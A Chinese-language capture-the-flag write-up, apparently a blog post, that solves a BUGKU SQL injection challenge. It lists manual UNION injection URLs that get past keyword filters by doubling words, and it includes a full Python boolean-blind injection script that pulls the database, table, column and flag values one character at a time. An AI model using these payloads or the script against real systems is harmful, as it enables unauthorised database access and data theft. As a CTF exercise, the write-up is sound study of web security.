BUGKU 多次手动注入+脚本盲注

本文内容为SQL手动注入步骤+想法，以及盲注脚本。

http://123.206.87.240:9004/1ndex.php?id=1

http://123.206.87.240:9004/1ndex.php?id=1' 报错

http://123.206.87.240:9004/1ndex.php?id=1'--+ 正常存在注入

http://123.206.87.240:9004/1ndex.php?id=1' and 1=1 --+ 报错 and被过滤，

http://123.206.87.240:9004/1ndex.php?id=1 ^(length(‘and’)!=0)^‘

使用length 判断过滤得出 or union select 被过滤

http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 2 --+ 正常双写绕过

http://123.206.87.240:9004/1ndex.php?id=1' oorrder by 3 --+ 报错存在2个库

http://123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,2 --+ 正常回显2号位

对二号位进行注入

http://123.206.87.240:9004/1ndex.php?id=1’ aandnd 1=2 uunionnion sselectelect 1,database()--+

数据库名 web1002-1

http://123.206.87.240:9004/1ndex.php?id=1‘ aandnd 1=2 uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema = database() --+

表名 flag1,hint

123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name = 'flag1' --+

字段 flag1,address

http://123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,group_concat(flag1) from flag1 --+

flag1内容为:usOwycTju+FTUUzXosjr 填入发现不对，题目说有两个flag均为小写

http://123.206.87.240:9004/1ndex.php?id=1’ aandnd 1=2 uunionnion sselectelect 1,group_concat(address) from flag1 --+

address内容为下一关，点击进入下一关地址:http://123.206.87.240:9004/Once_More.php?id=1

http://123.206.87.240:9004/Once_More.php?id=1' 报错

http://123.206.87.240:9004/Once_More.php?id=1‘ --+ 正常存在注入

http://123.206.87.240:9004/Once_More.php?id=1’ order by 2 --+ 正常

http://123.206.87.240:9004/Once_More.php?id=1’ order by 3 --+ 报错存在两个库

http://123.206.87.240:9004/Once_More.php?id=1‘ ^(length(‘union’)!=0)^’ 正常 union被过滤

http://123.206.87.240:9004/Once_More.php?id=1‘ and 1=2 uunionnion select 1,2 --+ 双写无法绕过

http://123.206.87.240:9004/Once_More.php?id=1’ and 1=2 Union select 1,2 --+ 大小写无法绕过

http://123.206.87.240:9004/Once_More.php?id=1‘ ^(length(‘sleep’)!=0)^’ 正常 sleep被过滤 substr也被过滤

由于正确错误返回不同尝试写脚本Bool盲注

import sys
import requests
from bs4 import BeautifulSoup
import re


url_start = 'http://123.206.87.240:9004/Once_More.php?' 


sqldb ="id=1' and mid(database(),{0},1)='{1}'--+"
sqltb ="id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),{0},1)='{1}'--+"
sqltest ="id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name ='flag2'),{0},1)='{1}'--+"
sqlflag ="id=1' and mid((select flag2 from flag2),{0},1)='{1}'--+"


def Brup(SQL):
    name=''
    for i in range(1,40):
        for ch in range(32,129):
            if ch == 128:
                sys.exit(0)
            payload = SQL.format(i,chr(ch))
            url_all = url_start+payload
            #print(url_all)
            html = requests.get(url_all)
            soup = BeautifulSoup(html.content, 'html.parser')
            result = soup.find_all(text = 'Hello,I Am Here!')
            #判断列表是否为空
            if len(result):
                name += chr(ch)
                print('name:'+name)
                break
        
if __name__ == '__main__':
    #Brup(sqldb)
    #Brup(sqltb)
    #Brup(sqltest)
    Brup(sqlflag)

#tablename：class,flag2
#注:跑出来为大写，flag全为小写。

usOwycTju+FTUUzXosjr

web1002-1

BUGKU 多次 手动注入+脚本盲注

猜你喜欢

BUGKU 多次手动注入+脚本盲注